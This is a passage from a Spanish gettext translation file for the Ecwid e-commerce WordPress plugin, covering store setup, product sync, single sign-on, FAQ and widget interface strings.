includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" #: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr "Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 